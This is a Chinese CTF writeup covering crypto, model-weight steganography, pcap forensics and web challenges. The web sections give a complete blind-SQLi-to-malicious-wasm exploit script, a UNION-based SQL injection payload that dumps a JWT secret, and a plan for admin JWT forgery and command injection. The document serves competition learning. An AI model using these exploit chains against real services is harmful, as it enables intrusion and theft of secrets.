2026红明谷

hex-404战队WRITEUP

战队名称:Hex404

战队排名:27

解题情况:

密码-LCG-LHNP

这题本质上是两个经典题型拼在一起:

  1. Affine LCG 参数恢复
    • 用差分消掉 b
    • gcd(d_{i+2}d_i-d_{i+1}^2) 恢复模数 n
    • 再恢复 a,b,seed
  2. 带小误差的线性同余
    • c_i = (r_i x + e_i) mod p
    • 其中 e_i 明显比 p
    • 改写成整数近似方程后,转 CVP
    • 用格找最近向量,最后一维直接给出 x

题目名字里提到 LCG 和 LHNP 很像,其实就是在引导你把"随机数恢复"和"格攻击"连起来看

exp.py

py 复制代码
from math import gcd
from functools import reduce
import random

from sympy import isprime
from fpylll import IntegerMatrix, LLL, CVP

cs = [22073555742900918351641950563446766680840402743878581663306995724684176615117459750667876691999243500757061833620110559538045828653361474845188246780830221146486068956627309316192994260103801672453757488201452230741868932015450714659784410960526652694842866887198358227208245461132607184442977762959126977001, 162607945536052208896461721807206013444804840144985049288446418506711665914247196970783584053608899280722544815790407544311082428128125764878898159072273775959890895112523056579275565711849635933507792308842893807527806265456480968808592374561345830368823849203058434015873104288500026311520782814493564080806, 89025105928637912212361442510432361506718760655216797798967057221450666184044752474111395102536455175913069383418199399234412796322279698293540950829848143783652816217200928991427529437131089492005022044073142661027322849496227912313074514251566140281303758750860813286559801050815409277377152461998594727795, 23809735381330508641135063514125960915971209678352737689360091659368374083700438769925839411302313971665697416100442277316240487601538275136396797886369645284245034118995675438503780359730393196166185613389889571903498883993098021805452073307988502584333420156700452241470692256711847940881137231335312122294, 98236873895898877295717950872898802271355624411082929946987202160626197038689491820502254391364820367852694148167618846076924601793650864493999047928051608289047510424028232788368685085472808309601571338900969339751677686347239754222402034772350803082675148396320265288673548430923859634387731912390495500678, 133513915473399768104093827057855130580008639338456365835638767296804724028538937964148364496907398065735958444092186765478162456921241062903049685584190041590887317140484016667021331245385947585471093727195573683831275179962234072734241148085521727972374934209115915686383787606608408847729909355126139886835, 75090495095017211920013664487171955579592587545347666871455558577208894775130640896418364037701151435549337021607079008056098083868022628014561391520539640621455288080401336066309798445272645210202569551316298843747982651488273818047464765079531118556987600570160150465329645592755886206951446173881984855474, 162901548599819692512805193001110030246458174142130740374815792204622904311638079980264597076044152837512478486644608073691592904968610512818674157832044980371632553100686583368390578701662306507818477496758405400729176139512742365816106406738208661497553403776033654145244660910167797338639768673976063204758, 83243336635019924278110121390075423847158546529082885490004613484353655752898438758692411957635700508878753759925013357444578869350364938542937203222963317602878062194598291907456352460278003160091247184067221557678138869718320017081308070606727395086912326228382277620607585502772730345493219888443862918476, 80283413477507084452361787810337214550933129141070898157638369973128482255662004273948907163342107163240353797969004757430826951798358931622260675677257863725930691542750176397066109594754373876647997576737144877764337339717805477810636904116101377734406611980069473168331497259609719194582663279415056125164, 100598379821949468380716212078223067642206348839010235344013788557705161403943799879348590492308565357932928581959504177734669747936584445024098572027126600937269736488009798418256246560325729483157293747063063518915602619110630189274978919599169473251938074010438140650581036506219041831586219508646697174097, 56924210830564942093665555309107311468493793447924030350946602480049309796282446216305785102755290180885325241854598372067478706891543192734025908897080004102097101655251953883042810423619327997221027536151824453488302715519659368713353225169880251662471230322769603171042340527406387527887234977906476670538, 170017700046493687298823333248435939202425804175408652196787844848685312491963131126949743585477377387021834878584260814051846940910045343411790169127687549189228502578668599684889977133587798415014218464196884395592615207342312824103973840010127789384145365607584487463336429572974632791152173540120277209745, 70591242725704034781204148465312971851199606148804564233303480832679896375108808911948512177219222361463231193727649503445880579042186683000374670033002097409691829503481742338244995452389025671528528665178424279806023806924987916633000613088033685188935250488868749164336692830526162932676732552049377274424, 39253201823714859479114665324814095748870954587209583219286888265505566989070328573998121234124799314487333920011977154463859341743291202911824741501011512669144146313337849741068184644993282281903372042182749031169497878248642727440375260285894853761828752163689090436785846197259436565435982642219537075151, 67471818103676304551349514424990583439404421804773958539613856556551047178646756738345071088415702172265631464987359381211519971380829099363818449274124853577784145921143657750269068575510437244148662971056529359714706506203103430659735879725701634590415904642175102655876806520486755457405085617828451369279, 28035406371444548483590265082781976602391470532078765228443689179564697535498877479101803562343931381588245564133193654086388008958663086403858240776090371125491147711975219548463535722834173716894197404285208269163007979509320903889099347377152866668629451210858763940014736573995830701622418879656451098503, 95731681376378188289797564015553388211374575469810623894336835150759371324078339759202609941524631676773815461045557021764273798852202455356174752526635021102987133577222992832337489540201071248551769436372173314934633260228922269685988646014801610056664430616450825266682526835378156681999815069530119388347, 171429717438152832329912573977987305026935383292909856846884398325428346459067788904486336876002366829714256073978844777054167250957542569468575622074557929375636065651483777912825466616751041844358581282413205202458339848382474720124783087380237497040773733766822822148264578219063812222820173925220015039733, 24225553331873414488300467396419114069871222100188478348516299330002953495533367875070407070769059630810449504145009065245048993165853223281545845765590691632631776694228361516928236983208386188343610556951810240499088966981533984759977899914061352815844108256869736759232051126612767724893755923315972838768, 28576593984919059843901293011092412259755827009553543559533599762292753628047072640803975233845423234077677881280909022800199911479131779903083507023794144018528024368193424649848696877718619369282730939582502757456071970918374726584050718625561355511516751879017300637804206017092842076992771640745083721279, 117143502450465206605996287302038347695090206230917578681112191477894421574129854758778631580987480359237600475432186280294806697361133281849027801008176171117019542200963473338462595073069659694414088598287740892537994712498037856899408990463581396683509372056565553550558959504926581757429943429271249472378, 37171668595857467961153646962198434703218510580507046640456417901655308965975752418087555544211966352453019231457195150395934004400971974119928437839504617817286453393341336431516442454477629529415602110965834543365356299753117019114029996469306004370389721964114515825401248206284602296199511302785398523748, 118804948451609067161952038670714234967148254571874090919883982035342312236563876523002165353677828396308280606826206985741992993902144462367347347426230445085221406805437384207093584017121591947722622191534721855533588649939323353300321093441098137596854940607461480731089929084272602587585527527874863166891, 21367651465006883705331015644180501486504171230365986196275240974849407522699634670544029204887915882048727108082630620193746601377379475140039082568597094795193548192017448966286852580978271750187581821402457323028441007147138694439748243493563649667064240696124599249461374024223952558461007894202534333505, 132216934012581197737321686643476123145306157447166540014190033255328261796148544236448031680155858592038668002725568591452011336377199420794873676891446939717210336387806744850241987712983174541013576779037600035598514755214290349136377469979587862687854735757478809821997225754863666622124354995421049551775, 170650852765587585168157389930013067438092238791282138230132912848487876816291209634105030704242949763004744035433448132532784364897640125777961458228222621633501628258755306852779197647080622557409084123485753009341954197605962019538031917407762803610536773314039486939656999986431301841381405778190396214321, 157014869566689279544520852841638547167998580814076615922329291434544569027969687488209278611342696429812298495430493405620167093429874601263077549775146192161305004534728679350748378827941871741089174581126846799395240441230156760561003272640575886722715037015213501124961431211281161888735684565399267460443, 19344816828025995650909711921440641749695309270488172937158726271629520427287238645489552525557545767199371043185128083730836592992086907737800765881520962163417738614408649597231184129980734600038630718269948765807299537122723853877996766736704232766243672079241795635372587333498188833517939009724771077872, 77377232744114928531936197689511059169948571698019976313546460550319504699194273863607839741669544248195289854367023092373298811448795430672039488798202093486817095621556418992427218434168970550677882766105918840499263063142127133724876131032155380248049678838156826697928892083555580919087424498742645603938]

seeds = [32101011249440122611221078361294920070245131154946953255111850674577687951094290921955, 120254891061056017420664815812015676306476888651627804114288630043509907394168454212770, 197812029368368159338427813087959169637981244904486124076186390348697952558324449052056, 101680494793293460616376869003442151289936932802536209030135310583031273064162123081404, 104486064496042925233799587546397779455281927882187444725175782503758737501179082348060, 97831767433607046668940696767642941324162381591353256029677641308858653173612104448393, 123821128334723743883139121708517585924238814247801562181972089757879519539283821783833, 68737784404491811141436037881957344812981133142167797444801719662418178899387404509266, 196827337591905696232411383469507368453555038407836705562743749683732207784644635939538, 66347089396005567236403406094964792646279246195356761046483932026526832140397567333943]

enc = 161646143971070073199756918618581276929976783012498027922058300333544809400559467338744457085966314403009112444855533587585071727270255204318673537712815409690427126096872079161368794016178320954211131806515982359293514227544990348457921380520400761074647667221487229448635673162235196510264625773400987057810

def get_prime(key_size, genertor=None):
    while True:
        if genertor is not None:
            num = genertor.randrange(2**(key_size-1), 2**key_size)
        else:
            num = random.randrange(2**(key_size-1), 2**key_size)
        if isprime(num):
            return num

# ----------------------------
# 1. recover affine LCG
# ----------------------------
d = [seeds[i+1] - seeds[i] for i in range(len(seeds)-1)]
vals = [abs(d[i+2] * d[i] - d[i+1] * d[i+1]) for i in range(len(d)-2)]

n = reduce(gcd, vals)
a = d[1] * pow(d[0], -1, n) % n
b = (seeds[1] - a * seeds[0]) % n
seed0 = (seeds[0] - b) * pow(a, -1, n) % n

print("[+] n =", n)
print("[+] a =", a)
print("[+] b =", b)
print("[+] seed0 prefix =", seed0.to_bytes((seed0.bit_length()+7)//8, "big")[:4])

# ----------------------------
# 2. replay Python random.Random(seed0)
# ----------------------------
g = random.Random(seed0)
p = get_prime(1024, g)
rs = [get_prime(1024, g) for _ in range(30)]

print("[+] p recovered")

# ----------------------------
# 3. solve CVP / LHNP
# ----------------------------
m = len(cs)
W = 1 << 136

B = IntegerMatrix(m + 1, m + 1)
for i in range(m):
    B[i, i] = p * W

for j, r in enumerate(rs):
    B[m, j] = r * W
B[m, m] = 1

LLL.reduction(B)

target = [c * W for c in cs] + [0]
vec = CVP.closest_vector(B, target)

x = int(vec[-1]) % p

print("[+] x =", x)
print("[+] x is prime?", isprime(x))

# check all errors are small
errs = [(cs[i] - (rs[i] * x) % p) % p for i in range(m)]
print("[+] max error bits =", max(errs).bit_length())

flag = enc ^^ x
flag = int(flag).to_bytes((int(flag).bit_length()+7)//8, "big")
print(flag)

misc-Model-Entropy

模型权重取证

notebook 只是伪装,模型结构本身很简陋

观察到 embedding_layer 参数规模明显异常

验证其余三层都与 seed=42 的随机初始化完全一致

说明只有 embedding_layer 被修改过

float32uint32 分析,发现差异全部是最低位翻转

证明信息被藏进了 embedding_layer 的 LSB

提取 bit 流后得到一串异或密文

flag{ 做已知明文恢复出密钥 GHOST

完整解出 flag

py 复制代码
import numpy as np

# 1. 读取模型
params = dict(np.load("sentiment_model.npz"))

# 2. 还原参考随机模型
rng = np.random.default_rng(42)
emb_ref = rng.normal(0, 0.1, (18, 20)).astype(np.float32)
hb_ref  = rng.normal(0, 0.01, (20,)).astype(np.float32)
out_ref = rng.normal(0, 0.1, (20, 2)).astype(np.float32)
ob_ref  = rng.normal(0, 0.01, (2,)).astype(np.float32)

# 3. 验证后三层完全一致
assert np.array_equal(params["hidden_bias"], hb_ref)
assert np.array_equal(params["output_layer"], out_ref)
assert np.array_equal(params["output_bias"], ob_ref)

# 4. 检查 embedding_layer 的底层改动
u_cur = params["embedding_layer"].view(np.uint32).ravel()
u_ref = emb_ref.view(np.uint32).ravel()
diff = u_cur ^ u_ref

print("changed elements:", np.count_nonzero(diff))
print("unique diffs:", np.unique(diff[diff != 0]))

# 5. 提取当前权重最低位
lsb = (u_cur & 1).astype(np.uint8)

# 6. 每 8 位按 little-endian 组成字节
cipher = bytes(
    int("".join(map(str, lsb[i:i+8][::-1])), 2)
    for i in range(0, len(lsb), 8)
)

print("cipher =", cipher)

# 7. 已知前缀恢复密钥
known = b"flag{"
key = bytes(cipher[i] ^ known[i] for i in range(len(known)))
print("key =", key)

# 8. 重复异或解密
plain = bytes(cipher[i] ^ key[i % len(key)] for i in range(len(cipher)))
print("plain =", plain)

# 9. 提取真正 flag
flag = plain[:42].decode()
print("flag =", flag)

misc-Coordinates

这题的核心点有三个:

  1. 异常重复浮点值
    • 正常模型参数里,不应该有某个具体 float32 值被精确重复上百次
    • 所以先做频率统计是关键突破口
  2. 位置编码而不是数值编码
    • 真正藏信息的不是这个常数本身
    • 而是它在全局参数流中的出现位置
  3. 100 为步长的坐标系统
    • 大量位置都落在 100 的整数倍上
    • 说明出题人是用 pos // 100 作为 bit 下标
    • 最后再做 bit -> ASCII 还原即

exp

py 复制代码
import torch
import numpy as np
from collections import Counter

# 1. 读取权重
sd = torch.load("secret.pth", map_location="cpu")

# 2. 统计异常常数
freq = Counter()
for k, v in sd.items():
    if torch.is_tensor(v) and v.dtype.is_floating_point:
        arr = v.cpu().numpy().astype(np.float32, copy=False).ravel()
        u, c = np.unique(arr, return_counts=True)
        for x, n in zip(u, c):
            if n > 1:
                freq[float(x)] += int(n)

target = np.float32(freq.most_common(1)[0][0])
print("[+] target =", target)

# 3. 全局展平
flat = []
for k, v in sd.items():
    if torch.is_tensor(v) and v.dtype.is_floating_point:
        flat.append(v.cpu().numpy().astype(np.float32, copy=False).ravel())
flat = np.concatenate(flat)

# 4. 找目标常数的位置
pos = np.where(flat == target)[0]
print("[+] total occurrences =", len(pos))
print("[+] tail =", pos[-5:])

# 5. 去掉最后两个非100倍数干扰项
use = [int(p) for p in pos if p % 100 == 0]

# 6. 构造 bitstring
ones = {p // 100 for p in use}
bits = ''.join('1' if i in ones else '0' for i in range(max(ones) + 1))

# 7. 尝试 0~7 位偏移,寻找可读明文
for shift in range(8):
    b = bits[shift:]
    n = len(b) // 8
    msg = ''.join(chr(int(b[i:i+8], 2)) for i in range(0, n * 8, 8))
    printable = sum(32 <= ord(c) < 127 for c in msg) / max(1, len(msg))
    print(f"[shift={shift}] printable={printable:.2f} -> {repr(msg)}")

misc-Stream-Capture

题目给出一份 pcapng 抓包,要求从一段"加密数据流"中找出隐藏信息。

拿到流量后,先对整体会话进行梳理,发现绝大部分流量集中在两台内网主机之间,且存在以下几条显著连接:

  • UDP 47998
  • UDP 47999
  • UDP 48000
  • TCP 47984
  • TCP 48010

其中 UDP 47998 的包数最多,而且大多为单向传输,负载长度高度固定,明显不像普通业务明文流量,更像媒体串流数据。

进一步结合端口分布,可以判断这组流量特征与 Moonlight / NVIDIA GameStream 一类远程串流协议高度吻合。因此推测题目中的"加密数据流"并不是让我们直接做密码学破解,而是需要还原其中承载的媒体内容。

关键发现

继续检查 UDP 47998 的负载内容,在其中发现了典型的 H.264 起始码:

复制代码
00 00 00 01 67

其中:

  • 00 00 00 01 为 NAL 起始标志
  • 67 对应 H.264 的 SPS

这说明该 UDP 流中实际封装的是 H.264 视频数据

数据提取

由于每个 UDP 包前面还有协议封装头,所以不能直接把整个 payload 拼接。观察后发现:

  • 首个关键包从 payload[40:] 开始为视频数据
  • 后续普通视频包从 payload[32:] 开始为视频数据

将这些数据按包序拼接,得到裸 H.264 文件。

之后使用 ffprobe / ffmpeg 验证,成功识别为可解码的视频流,分辨率为 1920x1080

恢复画面

将还原出的 H.264 视频逐帧导出,在导出的数百帧图像中检查画面内容,最终在后部关键帧中发现一串明显的 UUID 字符串:

复制代码
8ccf17ab-1e21-4e26-ba08-f6b048b3c3c6

结合题目要求,最终得到:

复制代码
flag{8ccf17ab-1e21-4e26-ba08-f6b048b3c3c6}

最终答案

复制代码
flag{8ccf17ab-1e21-4e26-ba08-f6b048b3c3c6}
py 复制代码
from scapy.all import rdpcap, UDP, IP

pcap_file = "capture.pcapng"
out_file = "video_guess.h264"

pkts = rdpcap(pcap_file)

video = bytearray()
first = True

for pkt in pkts:
    if IP not in pkt or UDP not in pkt:
        continue

    udp = pkt[UDP]

    if udp.sport != 47998:
        continue

    payload = bytes(udp.payload)
    if not payload:
        continue

    if first:
        if len(payload) > 40:
            video.extend(payload[40:])
            first = False
    else:
        if len(payload) > 32:
            video.extend(payload[32:])

with open(out_file, "wb") as f:
    f.write(video)

print(f"saved to {out_file}, size={len(video)} bytes")

web-WASM-Logger

0x00 题目概览

题目核心是两段漏洞链:

  1. templates/importgroup_by 存在 SQL 注入,可做布尔盲注。
  2. 通过盲注提取 install_nonce 后,按题目泄漏公式推导插件签名密钥,上传恶意 wasm。
  3. 利用 wasm runtime 的 __rebind_window 越界写,篡改权限校验字段,最终拿到 granted 并返回 flag。

目标不是单点漏洞,而是完整业务链路打通。


0x01 信息收集

1. 首页与提示文件

访问首页:

bash 复制代码
curl.exe -k "https://<target>:8080/"

页面明确提示遗留文件:

复制代码
/static/backup/plugin-note.txt.bak

访问:

bash 复制代码
curl.exe -k "https://<target>:8080/static/backup/plugin-note.txt.bak"

得到关键信息:

  1. 签名密钥派生公式:
go 复制代码
deriveSigningKey(version, installNonce) = sha256("gl.v5:module:derive|" + version + "|" + installNonce)
  1. wasm 可调用导入函数:

    env.__write(idx,val) env.__set_used(n) env.__rebind_window(off,n)

  2. 兼容实现存在越界窗口重绑:

go 复制代码
if off > uint32(len(memCtx.Scratch)) || n == 0 || n > 24 { return }

这里 off == 64 是允许的,正好越过 Scratch[64]

  1. 校验条件:
go 复制代码
expect := crc32.ChecksumIEEE(memCtx.Scratch[:used])
if memCtx.Armed == 1 && memCtx.Role == 0xA11CE && memCtx.Gate == expect {
    返回正式权限
}

2. 版本信息

bash 复制代码
curl.exe -k "https://<target>:8080/api/v2/meta"

示例返回:

json 复制代码
{"version":"r5.2.17-ops","build_tag":"r5.2.17-ops", ...}

version/build_tag 后续参与签名密钥推导。


0x02 漏洞一:group_by SQL 注入

目标接口:

复制代码
POST /api/v2/templates/import

正常请求:

json 复制代码
{"name":"daily-check","field":"type","group_by":"type"}

直接放 ' 会被拦截,但可用 Unicode 转义绕过:

json 复制代码
{"name":"u","field":"type","group_by":"type\u0027"}

导入后预览可见实际存储为 type',说明过滤发生在错误层次,绕过成功。


0x03 构造布尔盲注通道

rollup 接口:

复制代码
GET /api/v2/templates/{id}/preview?view=rollup

通过构造如下 group_by

text 复制代码
x\u0027)\nor\n1=1--

text 复制代码
x\u0027)\nor\n1=0--

得到稳定差异:

  1. True 分支 count > 0(常见为 6)
  2. False 分支 count = 0

因此可用 count>0 作为布尔 oracle。

注入模板:

sql 复制代码
x') or (<expr>)--

空格被过滤时,用换行 \n 代替即可被 SQLite 识别。


0x04 盲注提取关键数据

先探测表是否存在:

sql 复制代码
(select count(*) from sqlite_master where type='table' and name='gl_runtime')>0

再取字段列表:

sql 复制代码
select group_concat(name,',') from pragma_table_info('gl_runtime')

实战提取结果:

text 复制代码
id,scope,install_nonce,build_tag,created_at

继续提取:

sql 复制代码
select ifnull(cast([install_nonce] as text),'') from gl_runtime limit 1 offset 0

得到:

text 复制代码
install_nonce = 9c71558701d7

0x05 还原签名密钥

由提示文件可知:

text 复制代码
derived = sha256("gl.v5:module:derive|<version>|<install_nonce>")

以本题数据为例:

  1. version = r5.2.17-ops
  2. install_nonce = 9c71558701d7
  3. derived = bf65b87da77df297d4caf2682025083e892c8b51efb8faa1ee1319e47109e42d

服务端验签使用:

text 复制代码
HMAC-SHA256(key=derived_ascii, msg=raw_wasm_bytes)

即 key 取 derived 的 ASCII 字符串字节。


0x06 漏洞二:WASM runtime 越界写

RuntimeCtx 摘要:

go 复制代码
Scratch [64]byte
Used    uint16
Class   uint8
Role    uint32
Gate    uint32
Armed   uint8
Window  []byte

调用:

text 复制代码
__rebind_window(64,24)

使 Window 指向 Scratch 后的区域。然后通过 __write(idx,val) 按字节写。

我们写入:

  1. Used = 0
  2. Role = 0xA11CE(小端 CE 11 0A 00
  3. Gate = 0
  4. Armed = 1

再调用 __set_used(0),使:

text 复制代码
crc32(Scratch[:0]) = 0

于是满足:

text 复制代码
Armed == 1
Role == 0xA11CE
Gate == expect(=0)

0x07 恶意 wasm 模块设计

模块逻辑:

  1. import 三个函数:__write __set_used __rebind_window
  2. 导出 run_start
  3. start 函数中执行:
text 复制代码
rebind(64,24)
set_used(0)
write(0,0), write(1,0)
write(4,0xCE), write(5,0x11), write(6,0x0A), write(7,0x00)
write(8,0), write(9,0), write(10,0), write(11,0)
write(12,1)

0x08 上传与拿 flag

签名:

python 复制代码
sig = hmac.new(derived.encode(), wasm_bytes, hashlib.sha256).hexdigest()

上传:

POST /api/v2/plugins/upload

Header: X-Plugin-Signature: <sig>

Body: raw wasm bytes

执行:

复制代码
POST /api/v2/plugins/execute

返回:

json 复制代码
{"status":"granted","output":"... flag{...} ..."}

本次拿到:

text 复制代码
flag{417a74c2-8e99-4343-82e0-7b7b40625feb}

0x09 自动化脚本

完整利用脚本:

复制代码
exp_wasm_ctf.py

运行方式:

bash 复制代码
python exp_wasm_ctf.py "https://<target>:8080"

若已知 nonce(加速):

bash 复制代码
python exp_wasm_ctf.py "https://<target>:8080" --nonce <install_nonce>

脚本实现内容:

  1. 网络重试与抗 502/超时

  2. group_by 盲注 oracle

  3. 自动提取 install_nonce

  4. 自动构造 wasm 二进制

  5. 自动签名上传执行并提取 flag

py 复制代码
#!/usr/bin/env python3
import argparse
import hashlib
import hmac
import json
import random
import re
import sys
import time

import requests
import urllib3
from requests.exceptions import RequestException


class Client:
    def __init__(self, base: str, timeout: int, retries: int):
        self.base = base.rstrip("/")
        self.timeout = timeout
        self.retries = retries
        self.s = requests.Session()
        self.s.verify = False

    def request(self, method: str, path: str, **kwargs) -> requests.Response:
        delay = 0.2
        url = path if path.startswith("http") else (self.base + path)
        for _ in range(self.retries):
            try:
                r = self.s.request(method, url, timeout=self.timeout, **kwargs)
                if r.status_code in (429, 500, 502, 503, 504):
                    time.sleep(delay + random.random() * 0.15)
                    delay = min(delay * 1.8, 3)
                    continue
                return r
            except RequestException:
                time.sleep(delay + random.random() * 0.15)
                delay = min(delay * 1.8, 3)
        raise RuntimeError(f"{method} {url} failed after retries")


class BlindOracle:
    def __init__(self, cli: Client):
        self.cli = cli
        self.req_count = 0

    def bool_eval(self, expr: str) -> bool:
        self.req_count += 1
        expr_enc = expr.replace("'", "\\u0027").replace(" ", "\\n")
        payload = f"x\\u0027)\\nor\\n({expr_enc})--"
        raw = (
            '{"name":"o","field":"type","group_by":"'
            + payload
            + '"}'
        )
        r = self.cli.request(
            "POST",
            "/api/v2/templates/import",
            data=raw,
            headers={"Content-Type": "application/json"},
        )
        if r.status_code != 200:
            raise RuntimeError(f"import failed: {r.status_code} {r.text[:160]}")
        tid = r.json()["id"]
        rr = self.cli.request(
            "GET", f"/api/v2/templates/{tid}/preview", params={"view": "rollup"}
        )
        m = re.search(r'"count":(\d+)', rr.text)
        if not m:
            raise RuntimeError(f"rollup parse failed: {rr.status_code} {rr.text[:200]}")
        return int(m.group(1)) > 0

    def infer_int(self, expr: str, lo: int, hi: int) -> int | None:
        l, r = lo, hi
        while l < r:
            mid = (l + r) // 2
            if self.bool_eval(f"({expr})>{mid}"):
                l = mid + 1
            else:
                r = mid
        return l if self.bool_eval(f"({expr})={l}") else None

    def infer_str(self, expr: str, max_len: int = 160) -> str | None:
        ln = self.infer_int(f"length(({expr}))", 0, max_len)
        if ln is None:
            return None
        out = []
        for i in range(1, ln + 1):
            c = self.infer_int(f"unicode(substr(({expr}),{i},1))", 0, 126)
            out.append(chr(c) if c is not None else "?")
        return "".join(out)


def uleb(n: int) -> bytes:
    out = []
    while True:
        b = n & 0x7F
        n >>= 7
        if n:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)


def sleb(n: int) -> bytes:
    out = []
    more = True
    while more:
        b = n & 0x7F
        n >>= 7
        sign = b & 0x40
        if (n == 0 and sign == 0) or (n == -1 and sign != 0):
            more = False
        else:
            b |= 0x80
        out.append(b)
    return bytes(out)


def bstr(s: str) -> bytes:
    b = s.encode()
    return uleb(len(b)) + b


def sec(i: int, content: bytes) -> bytes:
    return bytes([i]) + uleb(len(content)) + content


def i32(v: int) -> bytes:
    return b"\x41" + sleb(v)


def call(idx: int) -> bytes:
    return b"\x10" + uleb(idx)


def build_wasm_payload() -> bytes:
    mod = b"\x00asm\x01\x00\x00\x00"
    t0 = b"\x60\x02\x7f\x7f\x00"
    t1 = b"\x60\x01\x7f\x00"
    t2 = b"\x60\x00\x00"
    mod += sec(1, uleb(3) + t0 + t1 + t2)

    imports = [
        bstr("env") + bstr("__write") + b"\x00" + uleb(0),
        bstr("env") + bstr("__set_used") + b"\x00" + uleb(1),
        bstr("env") + bstr("__rebind_window") + b"\x00" + uleb(0),
    ]
    mod += sec(2, uleb(len(imports)) + b"".join(imports))
    mod += sec(3, uleb(1) + uleb(2))

    exports = [
        bstr("run") + b"\x00" + uleb(3),
        bstr("_start") + b"\x00" + uleb(3),
    ]
    mod += sec(7, uleb(len(exports)) + b"".join(exports))
    mod += sec(8, uleb(3))

    ops = b""
    ops += i32(64) + i32(24) + call(2)
    ops += i32(0) + call(1)
    writes = [
        (0, 0),
        (1, 0),
        (4, 0xCE),
        (5, 0x11),
        (6, 0x0A),
        (7, 0),
        (8, 0),
        (9, 0),
        (10, 0),
        (11, 0),
        (12, 1),
    ]
    for idx, val in writes:
        ops += i32(idx) + i32(val) + call(0)
    ops += b"\x0B"

    body = b"\x00" + ops
    mod += sec(10, uleb(1) + uleb(len(body)) + body)
    return mod


def extract_nonce(oracle: BlindOracle) -> tuple[str, str]:
    ok = oracle.bool_eval(
        "(select count(*) from sqlite_master where type='table' and name='gl_runtime')>0"
    )
    if not ok:
        raise RuntimeError("gl_runtime table not found")

    cols = oracle.infer_str(
        "select group_concat(name,',') from pragma_table_info('gl_runtime')", max_len=220
    )
    if not cols:
        raise RuntimeError("failed to extract gl_runtime columns")
    col_list = [c.strip() for c in cols.split(",") if c.strip()]

    nonce_col = None
    for c in col_list:
        if "nonce" in c.lower():
            nonce_col = c
            break
    if not nonce_col:
        raise RuntimeError(f"nonce column not found in gl_runtime columns: {col_list}")

    nonce = oracle.infer_str(
        f"select ifnull(cast([{nonce_col}] as text),'') from gl_runtime limit 1 offset 0",
        max_len=120,
    )
    if not nonce:
        raise RuntimeError("install_nonce extracted empty")
    return nonce_col, nonce


def find_flag(text: str) -> str | None:
    m = re.search(r"flag\{[^}]+\}", text, re.IGNORECASE)
    return m.group(0) if m else None


def main() -> int:
    ap = argparse.ArgumentParser(
        description="GoAhead 5.2 CTF exploit: blind SQLi -> nonce -> signed wasm -> execute"
    )
    ap.add_argument("url", help="target base url, e.g. https://xxx:8080")
    ap.add_argument("--timeout", type=int, default=12, help="HTTP timeout seconds")
    ap.add_argument("--retries", type=int, default=10, help="retry count on transient errors")
    ap.add_argument("--version", default="", help="override version/build_tag")
    ap.add_argument("--nonce", default="", help="skip blind extraction and use known nonce")
    ap.add_argument(
        "--save-wasm", default="wasm_exp.bin", help="where to write generated wasm payload"
    )
    args = ap.parse_args()

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    cli = Client(args.url, args.timeout, args.retries)
    oracle = BlindOracle(cli)

    try:
        meta_r = cli.request("GET", "/api/v2/meta")
        if meta_r.status_code != 200:
            raise RuntimeError(f"/api/v2/meta failed: {meta_r.status_code} {meta_r.text[:160]}")
        meta = meta_r.json()
        version = args.version or meta.get("version") or meta.get("build_tag")
        if not version:
            raise RuntimeError("version/build_tag missing from meta")
        print(f"[+] version: {version}")

        if args.nonce:
            nonce = args.nonce
            nonce_col = "<provided>"
        else:
            print("[*] extracting install nonce via blind SQLi...")
            nonce_col, nonce = extract_nonce(oracle)
        print(f"[+] nonce column: {nonce_col}")
        print(f"[+] install nonce: {nonce}")
        print(f"[+] blind requests: {oracle.req_count}")

        wasm = build_wasm_payload()
        with open(args.save_wasm, "wb") as f:
            f.write(wasm)
        print(f"[+] wasm payload bytes: {len(wasm)} ({args.save_wasm})")

        derive_input = f"gl.v5:module:derive|{version}|{nonce}".encode()
        derived = hashlib.sha256(derive_input).hexdigest()
        print(f"[+] derived key hex: {derived}")

        key_candidates: list[tuple[str, bytes]] = []
        key_candidates.append(("derived_ascii", derived.encode()))
        try:
            key_candidates.append(("derived_hex", bytes.fromhex(derived)))
        except ValueError:
            pass
        key_candidates.append(("nonce_ascii", nonce.encode()))

        uploaded = None
        for key_name, key_bytes in key_candidates:
            sig = hmac.new(key_bytes, wasm, hashlib.sha256).hexdigest()
            r = cli.request(
                "POST",
                "/api/v2/plugins/upload",
                headers={"X-Plugin-Signature": sig},
                data=wasm,
            )
            print(f"[*] upload with {key_name}: {r.status_code}")
            if r.status_code == 200:
                uploaded = (key_name, sig, r.text)
                break
            print(f"    {r.text[:180]}")

        if not uploaded:
            raise RuntimeError("all signature candidates failed")
        print(f"[+] upload success with key: {uploaded[0]}")
        print(f"[+] upload response: {uploaded[2]}")

        ex = cli.request("POST", "/api/v2/plugins/execute")
        print(f"[+] execute response: {ex.status_code} {ex.text}")
        flag = find_flag(ex.text)
        if flag:
            print(f"[+] FLAG: {flag}")
            return 0

        for tid in [1, 2, 3, 4, 5, 10, 18, 19, 20]:
            rr = cli.request("GET", f"/api/v2/templates/{tid}/preview")
            if rr.status_code != 200:
                continue
            flag = find_flag(rr.text)
            if flag:
                print(f"[+] FLAG (template {tid}): {flag}")
                return 0

        print("[-] no flag found in execute/template responses")
        return 1
    except Exception as e:
        print(f"[!] exploit failed: {e}", file=sys.stderr)
        return 2


if __name__ == "__main__":
    raise SystemExit(main())

web-gopherblog

1. 题目思路总览

这题是标准链式利用:

  1. 先在公开接口拿到数据库敏感配置(jwt_secret)。
  2. 用泄漏的密钥伪造管理员 JWT。
  3. 带管理员身份调用 newsletter 预览功能,触发命令注入。
  4. 执行 cat /flag 拿到 flag。

对应的自动化脚本是:

  • exp_gopherblog.py

2. 信息收集与关键面

从应用行为和接口可见:

  1. 搜索接口:GET /api/posts/search?q=...
  2. 管理端 newsletter:POST /admin/newsletter(需要 token
  3. JWT 使用 HS256(服务端用 settings.jwt_secret 验签)

本地数据文件也能佐证 settings 存在 jwt_secret(模拟环境):

sql 复制代码
CREATE TABLE settings (key TEXT PRIMARY KEY, value TEXT NOT NULL)

3. 漏洞点 1:搜索接口 SQL 注入

3.1 利用思路

搜索参数 q 存在拼接 SQL,导致可 UNION SELECT

利用 payload(已在脚本中使用):

sql 复制代码
%' UNION SELECT 1,key,value,'x','x',datetime('now') FROM settings -- 

3.2 为什么这个 payload 生效

原帖子字段是 6 列(id,title,content,author,category,created_at),
UNION SELECT 也构造了 6 列:

  1. 1 -> id
  2. key -> title
  3. value -> content
  4. 'x' -> author
  5. 'x' -> category
  6. datetime('now') -> created_at

所以返回 JSON 里会混入设置项,包含:

  • title = jwt_secret
